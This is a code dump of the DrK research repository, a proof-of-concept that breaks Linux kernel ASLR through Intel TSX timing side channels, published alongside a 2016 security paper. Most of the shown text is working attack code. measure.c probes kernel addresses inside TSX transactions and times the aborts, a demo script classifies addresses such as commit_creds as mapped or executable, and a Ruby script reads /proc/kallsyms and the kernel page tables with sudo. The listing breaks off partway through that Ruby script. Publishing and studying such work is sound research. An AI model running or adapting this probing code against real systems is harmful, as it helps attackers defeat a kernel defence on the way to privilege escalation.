├── common ├── .gitignore ├── loop.c ├── Makefile ├── rtm.h └── rdtsc.h ├── linux ├── loop ├── measure ├── colors.py ├── .gitignore ├── Makefile ├── get_module_signature.rb ├── drk-probing.cc └── run-drk-attack.py ├── timing ├── loop ├── .gitignore ├── get_sym.sh ├── Makefile ├── colors.py ├── info.py ├── timing_demo.py └── measure.c ├── timing-mu.png ├── timing-x-nx.png ├── linux-attack.png ├── Makefile ├── LICENSE └── README.md /common/.gitignore: -------------------------------------------------------------------------------- 1 | loop 2 | -------------------------------------------------------------------------------- /linux/loop: -------------------------------------------------------------------------------- 1 | ../common/loop -------------------------------------------------------------------------------- /timing/loop: -------------------------------------------------------------------------------- 1 | ../common/loop -------------------------------------------------------------------------------- /linux/measure: -------------------------------------------------------------------------------- 1 | ../timing/measure -------------------------------------------------------------------------------- /linux/colors.py: -------------------------------------------------------------------------------- 1 | ../timing/colors.py -------------------------------------------------------------------------------- /timing/.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | measure 3 | -------------------------------------------------------------------------------- /timing/get_sym.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | sudo cat /proc/kallsyms | grep "$1" 3 | -------------------------------------------------------------------------------- /timing-mu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sslab-gatech/DrK/HEAD/timing-mu.png -------------------------------------------------------------------------------- /common/loop.c: -------------------------------------------------------------------------------- 1 | int main() { 2 | // busy loop 3 | while(1); 4 | } 5 | 6 | -------------------------------------------------------------------------------- /timing-x-nx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sslab-gatech/DrK/HEAD/timing-x-nx.png -------------------------------------------------------------------------------- /linux-attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sslab-gatech/DrK/HEAD/linux-attack.png -------------------------------------------------------------------------------- /common/Makefile: -------------------------------------------------------------------------------- 1 | all: loop 2 | 3 | loop: loop.c 4 | $(CC) -o loop loop.c 5 | 6 | clean: 7 | rm loop 8 | -------------------------------------------------------------------------------- /linux/.gitignore: -------------------------------------------------------------------------------- 1 | drk-probing 2 | kallsyms 3 | kernel_* 4 | kpt 5 | module_* 6 | modules_* 7 | scan_* 8 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SUBDIRS := $(wildcard */) 2 | 3 | all: $(SUBDIRS) 4 | 5 | $(SUBDIRS): 6 | $(MAKE) -C $@ 7 | 8 | .PHONY: all $(SUBDIRS) 9 | -------------------------------------------------------------------------------- /timing/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS := -std=gnu11 -lm -g -fomit-frame-pointer -O2 -I../common 2 | ALL := measure 3 | 4 | all: $(ALL) 5 | 6 | measure: 7 | 8 | clean: 9 | rm -f *.o $(ALL) *.pyc 10 | 11 | .PHONY: all clean 12 | -------------------------------------------------------------------------------- /linux/Makefile: -------------------------------------------------------------------------------- 1 | CXXFLAGS := -O2 -fomit-frame-pointer -std=c++11 -I../common/ 2 | ALL := drk-probing 3 | 4 | all: $(ALL) 5 | 6 | drk-probing: 7 | 8 | clean: 9 | rm -f *.o $(ALL) scan_* kernel_* module_* kallsyms kpt modules_* *.pyc 10 | 11 | .PHONY: all clean 12 | -------------------------------------------------------------------------------- /timing/colors.py: -------------------------------------------------------------------------------- 1 | HEADER = '\033[95m' 2 | BLUE = '\033[94m' 3 | CYAN = '\033[96m' 4 | GREEN = '\033[92m' 5 | YELLOW = '\033[93m' 6 | RED = '\033[91m' 7 | MAGENTA = '\033[95m' 8 | EDC = '\033[0m' 9 | BOLD = '\033[1m' 10 | UNDERLINE = '\033[4m' 11 | WHITE = '\033[97m' 12 | BLACK = '\033[30m' 13 | NORMAL = '\033[0m' 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 2016 by Yeongjin Jang and individual contributors. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /timing/info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | from colors import * 4 | 5 | # get cpuinfo to check rtm (supporting Intel TSX) 6 | print(BOLD) 7 | print(BLACK + "Get processor info from " + BLUE + "/proc/cpuinfo" + BLACK) 8 | os.system("cat /proc/cpuinfo | grep 'model name' | head -n 1") 9 | try: 10 | f = open("/proc/cpuinfo", "rb") 11 | data = f.read() 12 | if not 'rtm' in data: 13 | print(RED + "Error, your processor does not support Intel TSX") 14 | quit() 15 | else: 16 | print(GREEN + "This processor supports Intel TSX") 17 | except: 18 | print(RED + "Error: cannot open /proc/cpuinfo") 19 | quit() 20 | 21 | 22 | # Run uname -a to check the version of Linux Kernel 23 | print(BLACK + "\nRun " + BLUE + "uname -a" + BLACK + " to check OS version" + BLACK) 24 | os.system("uname -a") 25 | 26 | # get cmdline to check if kaslr is enabled as bootargs 27 | print(BLACK + "\nRun " + BLUE + "cat /proc/cmdline" + BLACK + " to see bootargs" + BLACK) 28 | os.system("cat /proc/cmdline") 29 | try: 30 | f = open("/proc/cmdline", "rb") 31 | data = f.read() 32 | if not 'kaslr' in data: 33 | print(RED + "Error, the kernel is not set with kaslr flag") 34 | quit() 35 | else: 36 | print(GREEN + "The kernel is set with kaslr flag") 37 | except: 38 | print(RED + "Error: cannot open /proc/cmdline") 39 | quit() 40 | 41 | 42 | -------------------------------------------------------------------------------- /common/rtm.h: -------------------------------------------------------------------------------- 1 | #ifndef _RTM_H 2 | #define _RTM_H 1 3 | 4 | /* 5 | * Copyright (c) 2012,2013 Intel Corporation 6 | * Author: Andi Kleen 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that: (1) source code distributions 10 | * retain the above copyright notice and this paragraph in its entirety, (2) 11 | * distributions including binary code include the above copyright notice and 12 | * this paragraph in its entirety in the documentation or other materials 13 | * provided with the distribution 14 | * 15 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED 16 | * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF 17 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. 18 | */ 19 | 20 | /* Official RTM intrinsics interface matching gcc/icc, but works 21 | on older gcc compatible compilers and binutils. */ 22 | 23 | #define _XBEGIN_STARTED (~0u) 24 | #define _XABORT_EXPLICIT (1 << 0) 25 | #define _XABORT_RETRY (1 << 1) 26 | #define _XABORT_CONFLICT (1 << 2) 27 | #define _XABORT_CAPACITY (1 << 3) 28 | #define _XABORT_DEBUG (1 << 4) 29 | #define _XABORT_NESTED (1 << 5) 30 | #define _XABORT_CODE(x) (((x) >> 24) & 0xff) 31 | 32 | #define __rtm_force_inline __attribute__((__always_inline__)) inline 33 | 34 | static __rtm_force_inline int _xbegin(void) 35 | { 36 | int ret = _XBEGIN_STARTED; 37 | asm volatile(".byte 0xc7,0xf8 ; .long 0" : "+a" (ret) :: "memory"); 38 | return ret; 39 | } 40 | 41 | static __rtm_force_inline void _xend(void) 42 | { 43 | asm volatile(".byte 0x0f,0x01,0xd5" ::: "memory"); 44 | } 45 | 46 | /* This is a macro because some compilers do not propagate the constant 47 | * through an inline with optimization disabled. 48 | */ 49 | #define _xabort(status) \ 50 | asm volatile(".byte 0xc6,0xf8,%P0" :: "i" (status) : "memory") 51 | 52 | static __rtm_force_inline int _xtest(void) 53 | { 54 | unsigned char out; 55 | asm volatile(".byte 0x0f,0x01,0xd6 ; setnz %0" : "=r" (out) :: "memory"); 56 | return out; 57 | } 58 | 59 | #endif 60 | -------------------------------------------------------------------------------- /common/rdtsc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define barrier() __asm__ __volatile__("": : :"memory") 6 | 7 | static inline uint64_t __attribute__((__always_inline__)) 8 | rdtsc(void) 9 | { 10 | uint32_t a, d; 11 | __asm __volatile("rdtsc" : "=a" (a), "=d" (d)); 12 | return ((uint64_t) a) | (((uint64_t) d) << 32); 13 | } 14 | 15 | static inline uint64_t __attribute__((__always_inline__)) 16 | rdtsc_beg(void) 17 | { 18 | // Don't let anything float into or out of the TSC region. 19 | // (The memory clobber on this is actually okay as long as GCC 20 | // knows that no one ever took the address of things it has in 21 | // registers.) 22 | barrier(); 23 | // See the "Improved Benchmarking Method" in Intel's "How to 24 | // Benchmark Code Execution Times on Intel® IA-32 and IA-64 25 | // Instruction Set Architectures" 26 | uint64_t tsc; 27 | #if defined(__x86_64__) 28 | // This generates tighter code than the __i386__ version 29 | //__asm __volatile("cpuid; rdtscp; shl $32, %%rdx; or %%rdx, %%rax" 30 | // use rdtscp rather than cpuid + rdtsc 31 | __asm __volatile("rdtscp; shl $32, %%rdx; or %%rdx, %%rax" 32 | : "=a" (tsc) 33 | : : "%rbx", "%rcx", "%rdx"); 34 | #elif defined(__i386__) 35 | uint32_t a, d; 36 | __asm __volatile("cpuid; rdtscp; mov %%eax, %0; mov %%edx, %1" 37 | : "=r" (a), "=r" (d) 38 | : : "%rax", "%rbx", "%rcx", "%rdx"); 39 | tsc = ((uint64_t) a) | (((uint64_t) d) << 32); 40 | #endif 41 | barrier(); 42 | return tsc; 43 | } 44 | 45 | static inline uint64_t __attribute__((__always_inline__)) 46 | rdtsc_end(void) 47 | { 48 | barrier(); 49 | uint32_t a, d; 50 | //__asm __volatile("rdtscp; mov %%eax, %0; mov %%edx, %1; cpuid" 51 | // use rdtscp rather than cpuid + rdtsc 52 | __asm __volatile("rdtscp; mov %%eax, %0; mov %%edx, %1;" 53 | : "=r" (a), "=r" (d) 54 | : : "%rax", "%rbx", "%rcx", "%rdx"); 55 | barrier(); 56 | return ((uint64_t) a) | (((uint64_t) d) << 32); 57 | } 58 | 59 | uint64_t cpu_freq(void); 60 | uint64_t rdtsc_overhead(double *stddev_out); 61 | uint64_t cpu_freq_measured(void); 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # The DrK (De-randomizing Kernel ASLR) attack 2 | DrK is an attack that breaks kernel address space layout randomization (KASLR) 3 | by exploiting TLB and decoded i-cache side channel. To reliably exploit the 4 | side channels, the DrK attack took advantage of 5 | Intel TSX (Transactional Synchronization eXtension). 6 | One surprising behavior of TSX, which is essentially 7 | the root cause of this security loophole, is that it aborts a 8 | transaction without notifying the underlying kernel even when the 9 | transaction fails due to a critical error, such as a page fault or an 10 | access violation, which traditionally requires kernel intervention. 11 | DrK turns this property into a precise timing channel that can 12 | determine the mapping status (i.e., mapped versus unmapped) and 13 | execution status (i.e., executable versus non-executable) of the privileged 14 | kernel address space. Since such behavior is on the hardware level, 15 | DrK is universally applicable to all OSes, even in 16 | virtualized environments, and generates no visible footprint, making 17 | it difficult to detect in practice. 18 | Therefore, DrK can break 19 | the KASLR of all major OSes (i.e., Windows, Linux, and OS X) 20 | with near-perfect accuracy in under a second. 21 | 22 | 23 | ## More details 24 | * DrK paper (ACM CCS'16): http://people.oregonstate.edu/~jangye/assets/papers/2016/jang:drk-ccs.pdf 25 | * Talk at Black Hat USA: https://www.youtube.com/watch?v=rtuXG28g0CU 26 | 27 | ## Demo 28 | 29 | ### Timing (click the image to watch the video) 30 | [![Timing Demo](https://img.youtube.com/vi/NdndV_cMJ8k/0.jpg)] 31 | (https://www.youtube.com/watch?v=NdndV_cMJ8k) 32 | 33 | ### Full attack on Linux (click the image to watch the video) 34 | [![Full attack on Linux](https://img.youtube.com/vi/WXGCylmAZkA/0.jpg)] 35 | (https://www.youtube.com/watch?v=WXGCylmAZkA) 36 | 37 | ## Build 38 | Run ```make``` on the directory of this repository. 39 | 40 | ### Example: Timing demo 41 | Run ```cd timing; ./timing_demo.py``` 42 |

43 |
44 |
45 |

46 | 47 | ### Example: Breaking KASLR in Linux 48 | Run ```cd linux; ./run-drk-attack.py``` 49 |

50 |
51 |

52 | 53 | ## Contributors 54 | * [Yeongjin Jang] 55 | * [Sangho Lee] 56 | * [Taesoo Kim] 57 | 58 | [Yeongjin Jang]: 59 | [Sangho Lee]: 60 | [Taesoo Kim]: 61 | -------------------------------------------------------------------------------- /timing/timing_demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import multiprocessing as mp 4 | import os 5 | from subprocess import Popen, PIPE 6 | import sys 7 | 8 | from colors import * 9 | 10 | # get nproc for spawning loops to avoid speedstep noise 11 | NPROC = mp.cpu_count() 12 | 13 | def chk_tsx(): 14 | with open("/proc/cpuinfo", "rb") as f: 15 | data = f.read() 16 | if 'rtm' in data: 17 | return True 18 | return False 19 | 20 | # run command and get its output as dict 21 | def run_command(cmd_args, evaluate=True): 22 | p = Popen(cmd_args, 23 | stdout=PIPE, 24 | stderr=PIPE) 25 | out, err = p.communicate() 26 | if(evaluate): 27 | return eval(out) 28 | else: 29 | return out 30 | 31 | # print measurement result for an address with mode (read / exec) 32 | def print_result(address, run_mode, additional_msg=None, do_print=True): 33 | 34 | # run measurement 35 | result = run_command(["./measure", "-i" , "20000", "-a", address, "-m", run_mode]) 36 | 37 | addr = result['addr'] 38 | mode = result['mode'] 39 | cycle = result['time'] 40 | 41 | string = (BLACK + "Access with " + \ 42 | RED + "%s" + \ 43 | BLACK + " on " + \ 44 | BLUE + "0x%016x" + \ 45 | BLACK + ": took " + \ 46 | MAGENTA + "%d " + BLACK + "cycles")% (mode, addr, cycle) 47 | 48 | if do_print: 49 | if additional_msg != None: 50 | print(additional_msg + string) 51 | else: 52 | print(string) 53 | 54 | # get kernel symbol 55 | def get_syms(symbol): 56 | out = run_command(["./get_sym.sh", symbol], evaluate=False) 57 | addr = out.split(" ")[0] 58 | return (out, addr) 59 | 60 | def measure_address(address, status_str, mode_str, priv_str, add_str): 61 | print(NORMAL) 62 | print("Measuring timing for %s address (%s access)" % (status_str, mode_str)) 63 | print("type ';' with newline to move on to next measure") 64 | print(BOLD) 65 | print(BLACK + "Target address: " + BOLD + BLUE + address + 66 | GREEN + " <- " + RED + priv_str + BLACK) 67 | print("") 68 | 69 | raw_input() 70 | a = "" 71 | while a == "": 72 | if mode_str == 'read': 73 | mode = 'readmem' 74 | else: 75 | mode = 'jmp' 76 | # to reduce speedstep noise, run twice.. 77 | print_result(address, mode, additional_msg=add_str, do_print=False) 78 | print_result(address, mode, additional_msg=add_str) 79 | a = raw_input() 80 | 81 | 82 | 83 | 84 | if __name__ == '__main__': 85 | if not chk_tsx(): 86 | print("Error, your processor does not support Intel TSX") 87 | quit() 88 | 89 | if not os.path.exists('loop'): 90 | print("Error: Please run 'make' on ../common " + 91 | "to build necessary files.") 92 | quit() 93 | 94 | # kill all loops if exists 95 | os.system("killall -9 loop 2>/dev/null") 96 | 97 | # run loops for avoiding the noise from speedstep 98 | # (creating nproc/2 loops to make the processor to work as full throttle) 99 | for i in xrange(int(NPROC/2)): 100 | os.system("taskset -c %d ./loop&" % i) 101 | 102 | 103 | ## Mapped and Unmapped testing 104 | U_str = (RED + "Unmapped\t") 105 | NX_str = (MAGENTA + "Non-executable\t") 106 | M_str = (BLUE + "Mapped\t") 107 | X_str = (BLUE + "Executable\t") 108 | 109 | 110 | # measure unmapped (read) 111 | measure_address("0xffffffff00000000", RED+"Unmapped"+NORMAL, "read", "unmapped", U_str) 112 | 113 | print("") 114 | print("Try to get a mapped (non-executable) address") 115 | out, mapped_address = get_syms("__kstrtab_commit_creds") 116 | print(BLUE + out + BLACK) 117 | 118 | # measure mapped (read) 119 | measure_address(mapped_address, BLUE+"Mapped"+NORMAL, "read", "mapped", M_str) 120 | 121 | print("\n\nCompare the result, UN-MAPPED vs MAPPED") 122 | print_result("0xffffffff00000000", "readmem", do_print=False) 123 | print_result("0xffffffff00000000", "readmem", additional_msg=(RED+"Unmapped\t")) 124 | print_result(mapped_address, "readmem", do_print=False) 125 | print_result(mapped_address, "readmem", additional_msg=(BLUE+"Mapped\t\t")) 126 | 127 | 128 | raw_input() 129 | 130 | 131 | 132 | # measure unmapped (exec) 133 | measure_address("0xffffffff00000000", RED+"Unmapped"+NORMAL, "exec", "unmapped", U_str) 134 | # measure mapped but non-executable (exec) 135 | measure_address(mapped_address, MAGENTA+"Mapped, but Non-executable"+NORMAL, "exec", "non-executable", NX_str) 136 | 137 | print("") 138 | print("Try to get a mapped, executable address") 139 | out, exec_address = get_syms(" commit_creds") 140 | print(BLUE + out + BLACK) 141 | 142 | # measure mapped and executable (exec) 143 | measure_address(exec_address, BLUE+"Mapped and Executable"+NORMAL, "exec", "executable", X_str) 144 | 145 | print("\n\nCompare the result, Unmapped/Non-executable/Executable") 146 | print_result("0xffffffff00000000", "jmp", do_print=False) 147 | print_result("0xffffffff00000000", "jmp", additional_msg=U_str) 148 | print_result(mapped_address, "jmp", do_print=False) 149 | print_result(mapped_address, "jmp", additional_msg=NX_str) 150 | print_result(exec_address, "jmp", do_print=False) 151 | print_result(exec_address, "jmp", additional_msg=X_str) 152 | 153 | # kill all loops if exists 154 | os.system("killall -9 loop 2>/dev/null") 155 | -------------------------------------------------------------------------------- /timing/measure.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | 12 | #define __USE_GNU 13 | 14 | #include "rdtsc.h" 15 | #include "rtm.h" 16 | 17 | 18 | // declare test function as mode_fn 19 | typedef int (*mode_fn)(void *); 20 | 21 | int test_calleax(void *addr) 22 | { 23 | // call 24 | asm volatile("call *%0" : : "r"(addr) : "memory"); 25 | } 26 | 27 | int test_callfunc(void *addr) 28 | { 29 | // call as func 30 | ((int(*)())addr)(); 31 | } 32 | 33 | int test_jmp(void *addr) 34 | { 35 | // jmp 36 | asm volatile("jmp *%0" : : "r" (addr) : "memory"); 37 | } 38 | 39 | int test_readmem(void *addr) 40 | { 41 | // read access from ptr 42 | int a = *((int*)addr); 43 | return a; 44 | } 45 | 46 | int test_writemem(void *addr) 47 | { 48 | // write access to ptr 49 | (*((int*)addr) = 0); 50 | } 51 | 52 | int test_ud2() { 53 | // trigger exception 54 | asm volatile("ud2"); 55 | } 56 | int test_ill() { 57 | // illegal instruction 58 | asm volatile(".byte 0xc7; .byte 0xc8"); 59 | } 60 | 61 | int test_movdqa(void* addr) { 62 | // break 32-byte alignment 63 | uint64_t addr_int = (uint64_t) addr; 64 | addr_int = (addr_int & 0xfffffffffffffff0) + 1; 65 | addr = (void*) addr_int; 66 | 67 | // access with movdqa (always trigger GP) 68 | asm volatile("movdqa (%0), %%xmm0" : : "r"(addr) : "memory"); 69 | } 70 | 71 | 72 | // TSX RTM routine that measures one probe on the address 73 | uint64_t _measure(void *addr, mode_fn fn) 74 | { 75 | uint64_t beg = rdtsc_beg(); 76 | 77 | if (_xbegin() == _XBEGIN_STARTED) { 78 | // try to probe the address with fn 79 | fn(addr); 80 | // will exit TSX RTM 81 | _xend(); // will not called 82 | } else { 83 | // TSX abort triggered! 84 | return rdtsc_end() - beg; 85 | } 86 | 87 | // should not reach here 88 | fprintf(stderr, "Not triggered\n"); 89 | } 90 | 91 | // Iteratively probe the address with TSX RTM, and get the minimum timing 92 | uint64_t measure(void *addr, int iter, mode_fn fn) 93 | { 94 | uint64_t min = (uint64_t) -1; 95 | while (iter --) { 96 | uint64_t clk = _measure(addr, fn); 97 | if (clk < min) { 98 | min = clk; 99 | } 100 | } 101 | return min; 102 | } 103 | 104 | // usage 105 | void print_usage(char *prog) 106 | { 107 | printf("[usage] %s [-a addr (in hex)] [-i times] [-m mode (readmem, jmp)]\n", prog); 108 | printf("For example: ./measure -a ffffffffc03e2000 -i 10000 -m jmp\n"); 109 | printf("For example: ./measure -a ffffffffc03e2000 -i 1000 -m readmem\n"); 110 | } 111 | 112 | // probing function selector 113 | mode_fn get_mode_fn(char *mode) 114 | { 115 | if (!strcmp(mode, "calleax")) 116 | return test_calleax; 117 | else if (!strcmp(mode, "callfunc")) 118 | return test_callfunc; 119 | else if (!strcmp(mode, "jmp")) 120 | return test_jmp; 121 | else if (!strcmp(mode, "readmem")) 122 | return test_readmem; 123 | else if (!strcmp(mode, "writemem")) 124 | return test_writemem; 125 | fprintf(stderr, "Unknown command: %s", optarg); 126 | } 127 | 128 | // map X/NX/U pages. 129 | int global_variable = 0; 130 | void* __attribute__((optimize("-O0"))) get_addr_for_type(char *arg) 131 | { 132 | if(strcmp(arg, "x") == 0) { 133 | // map x 134 | void *mapped = mmap(NULL, 0x1000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 135 | int *tmp = (int*)mapped; 136 | for(int i=0; i<0x400; ++i) { 137 | tmp[i] = 0x0b0f0b0f; 138 | } 139 | if(mapped == NULL) { 140 | fprintf(stderr, "Error on mapping x\n"); 141 | } 142 | return mapped; 143 | } 144 | else if(strcmp(arg, "nx") == 0) { 145 | // map nx (non-writable) 146 | void *mapped = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 147 | int *tmp = (int*)mapped; 148 | global_variable = tmp[0]; 149 | if(mapped == NULL) { 150 | fprintf(stderr, "Error on mapping nx\n"); 151 | } 152 | return mapped; 153 | } 154 | else if(strcmp(arg, "u") == 0) { 155 | // map u 156 | return (void*)(0xffffffffbffff000); 157 | } 158 | } 159 | 160 | 161 | 162 | int main(int argc, char **argv) 163 | { 164 | char *mode = "test"; 165 | void *addr = NULL; 166 | int iter = 10000; 167 | 168 | // get opts 169 | opterr = 0; 170 | char c; 171 | while ((c = getopt (argc, argv, "t:a:i:hm:")) != -1) { 172 | switch (c) { 173 | case 't': 174 | addr = get_addr_for_type(optarg); 175 | break; 176 | case 'a': 177 | addr = (void *)strtoull(optarg, NULL, 16); 178 | break; 179 | case 'i': 180 | iter = atoi(optarg); 181 | break; 182 | case 'm': 183 | mode = strdup(optarg); 184 | break; 185 | case 'h': 186 | print_usage(argv[0]); 187 | exit(0); 188 | default: 189 | print_usage(argv[0]); 190 | exit(1); 191 | } 192 | } 193 | 194 | if(strcmp(mode, "test") == 0) { 195 | // measure all for X/NX/U and M/U 196 | uint64_t x_jmp_clk = measure(get_addr_for_type("x"), iter, get_mode_fn("jmp")); 197 | uint64_t nx_jmp_clk = measure(get_addr_for_type("nx"), iter, get_mode_fn("jmp")); 198 | uint64_t m_write_clk = measure(get_addr_for_type("nx"), iter, get_mode_fn("writemem")); 199 | uint64_t u_write_clk = measure(get_addr_for_type("u"), iter, get_mode_fn("writemem")); 200 | uint64_t u_jmp_clk = measure(get_addr_for_type("u"), iter, get_mode_fn("jmp")); 201 | printf("{\n"); 202 | printf(" 'x_jmp_clk':%" PRIu64 ",\n", x_jmp_clk); 203 | printf(" 'nx_jmp_clk':%" PRIu64 ",\n", nx_jmp_clk); 204 | printf(" 'u_jmp_clk':%" PRIu64 ",\n", u_jmp_clk); 205 | printf(" 'm_write_clk':%" PRIu64 ",\n", m_write_clk); 206 | printf(" 'u_write_clk':%" PRIu64 ",\n", u_write_clk); 207 | printf(" 'iter': %d,\n", iter); 208 | printf("}\n"); 209 | exit(0); 210 | } 211 | 212 | // measure an address 213 | uint64_t clk = measure(addr, iter, get_mode_fn(mode)); 214 | 215 | printf("{\n"); 216 | printf(" 'addr': %p,\n", addr); 217 | printf(" 'iter': %d,\n", iter); 218 | printf(" 'time': %" PRIu64 ",\n", clk); 219 | printf(" 'mode': '%s',\n", mode); 220 | printf("}\n"); 221 | 222 | return 0; 223 | } 224 | -------------------------------------------------------------------------------- /linux/get_module_signature.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # This program reads kernel page table dump to get the ground truth information 4 | # for kernel module mappings. The resulting file will be compared with 5 | # the result from DrK attack to prove its accuracy. 6 | 7 | require 'json' 8 | 9 | class StateDeterminer 10 | def initialize 11 | @state = :exec 12 | @start_addr = 0xffffffff81000000 13 | @end_addr = 0x0 14 | @output = [] 15 | end 16 | 17 | def set_start(start) 18 | @start_addr = start 19 | end 20 | 21 | def get_flag(state) 22 | case state 23 | when :exec 24 | return 'X' 25 | when :read_only 26 | return 'R' 27 | when :writable 28 | return 'W' 29 | end 30 | return 'DN' 31 | end 32 | 33 | def push_output 34 | start_addr = ("0x%016x" % @start_addr) 35 | end_addr = ("0x%016x" % @end_addr) 36 | str = "#{start_addr}-#{end_addr}\t#{get_flag(@state)}" 37 | @output << str 38 | end 39 | 40 | def print_output_as_file(filename) 41 | File.open(filename, 'w') do |f| 42 | @output.each do |x| 43 | f.puts(x) 44 | end 45 | end 46 | end 47 | 48 | def determine_state(an_array) 49 | addr = an_array[0] 50 | mark = an_array[1] 51 | state = get_state(mark) 52 | if(state != @state) 53 | if(state == :read_only || state == :exec || state == :writable) 54 | @end_addr = addr.to_i(16) & 0xfffffffffffff000 55 | self.push_output 56 | @state = state 57 | @start_addr = addr.to_i(16) & 0xfffffffffffff000 58 | 59 | else 60 | #handle others 61 | #@end_addr = addr 62 | end 63 | else 64 | #@end_addr = addr 65 | end 66 | end 67 | 68 | def get_state(state_mark) 69 | m = state_mark 70 | return :exec if m == 't' || m == 'T' 71 | return :read_only if m == 'r' || m == 'R' 72 | return :read_only if m == 'b' || m == 'B' 73 | return :read_only if m == 'd' || m == 'D' 74 | return :dont_know 75 | end 76 | end 77 | 78 | # get kallsyms 79 | system "sudo cp /proc/kallsyms ./" 80 | 81 | # sort kallsyms 82 | kallsyms = nil 83 | File.open("kallsyms", 'r') do |f| 84 | kallsyms = f.readlines.map{|x| x.strip.split}.sort{|x,y| x[0]<=>y[0]} 85 | end 86 | 87 | sd = StateDeterminer.new 88 | sd.set_start(0xffffffffc0000000) 89 | modules = kallsyms.select{|x| x[0].to_i(16) > 0xffffffffbfffffff} 90 | module_name_dict = {} 91 | modules.each do |x| 92 | base_page_addr = x[0].to_i(16) & 0xfffffffffffff000 93 | module_name = x[3].scan(/\[([^\]]+)\]/).flatten[0] 94 | module_name_dict[base_page_addr] = module_name 95 | end 96 | 97 | 98 | modules.each do |x| 99 | sd.determine_state x 100 | end 101 | 102 | # get kernel page table. 103 | system("sudo cp /sys/kernel/debug/kernel_page_tables kpt; sudo chmod 644 ./kpt") 104 | kpt = nil 105 | File.open("kpt", 'r') do |f| 106 | kpt = f.readlines.map{|x| x.strip.split} 107 | end 108 | 109 | low_start = low_end = 0 110 | vmalloc_start = vmalloc_end = 0 111 | espfix_start = espfix_end = 0 112 | efi = kernel_text_start = kernel_text_end = modules_start = modules_end = 0 113 | kpt.each_with_index do |x,i| 114 | low_start = i+1 if(x[1] == 'Low') 115 | if x[1] == 'vmalloc()' 116 | low_end = i 117 | vmalloc_start = i+1 118 | end 119 | 120 | if x[1] == 'ESPfix' 121 | vmalloc_end = i 122 | espfix_start = i+1 123 | end 124 | 125 | if x[1] == 'EFI' 126 | espfix_end = i 127 | efi = i+1 128 | end 129 | 130 | if x[1] == 'High' 131 | kernel_text_start = i+1 132 | end 133 | 134 | if x[1] == 'Modules' 135 | kernel_text_end = i 136 | modules_start = i+1 137 | end 138 | 139 | if x[1] == 'End' 140 | modules_end = i 141 | end 142 | end 143 | 144 | modules_map_pt = kpt[modules_start...modules_end] 145 | 146 | module_outputs = [] 147 | module_signature_dict = {} 148 | m_start = m_end = 0 149 | pri_state = nil 150 | 151 | idx = 0 152 | modules_map_pt.each do |x| 153 | idx += 1 154 | addr = x[0].split('_') 155 | addr_base = addr[0].to_i(16) 156 | addr_bound = addr[0].to_i(16) 157 | permission = nil 158 | if x[-2] == 'x' 159 | permission = :exec 160 | elsif x[-2] == 'NX' 161 | permission = :read 162 | else 163 | permission = :unmap 164 | end 165 | if(m_start == 0) 166 | m_start = addr_base 167 | m_end = addr_bound 168 | pri_state = permission 169 | next 170 | end 171 | 172 | if permission == pri_state && (idx != modules_map_pt.length) 173 | m_end = addr_bound 174 | else 175 | m_end = addr_base 176 | # print out current permission 177 | addr_str = "0x%016x-0x%016x" % [m_start, m_end] 178 | perm_str = nil 179 | case pri_state 180 | when :exec 181 | perm_str = 'X' 182 | when :read 183 | perm_str = 'NX' 184 | when :unmap 185 | perm_str = 'U' 186 | end 187 | name = module_name_dict[m_start] 188 | size = "%16x" % (m_end - m_start) 189 | output_str = "#{addr_str} #{perm_str}" 190 | if name != nil 191 | if(module_signature_dict[name] == nil) 192 | module_signature_dict[name] = {} 193 | end 194 | module_signature_dict[name][perm_str] = size 195 | output_str += " #{name} #{size}" 196 | end 197 | module_outputs << output_str 198 | m_start = addr_base 199 | m_end = addr_base 200 | end 201 | pri_state = permission 202 | end 203 | 204 | # print output 205 | File.open("modules_ground_truth.out", 'w') do |f| 206 | f.puts("Ground Truth Page Table Mappings") 207 | outputs = [] 208 | module_outputs.each do |x| 209 | arr = x.split(' ') 210 | if arr[0].split('-')[0] == '0xffffffffc0000000' 211 | next 212 | end 